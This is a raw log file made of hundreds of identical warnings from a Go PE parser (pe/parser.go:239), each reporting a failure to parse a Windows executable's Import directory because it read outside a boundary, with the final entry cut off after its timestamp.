+time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:31+01:00 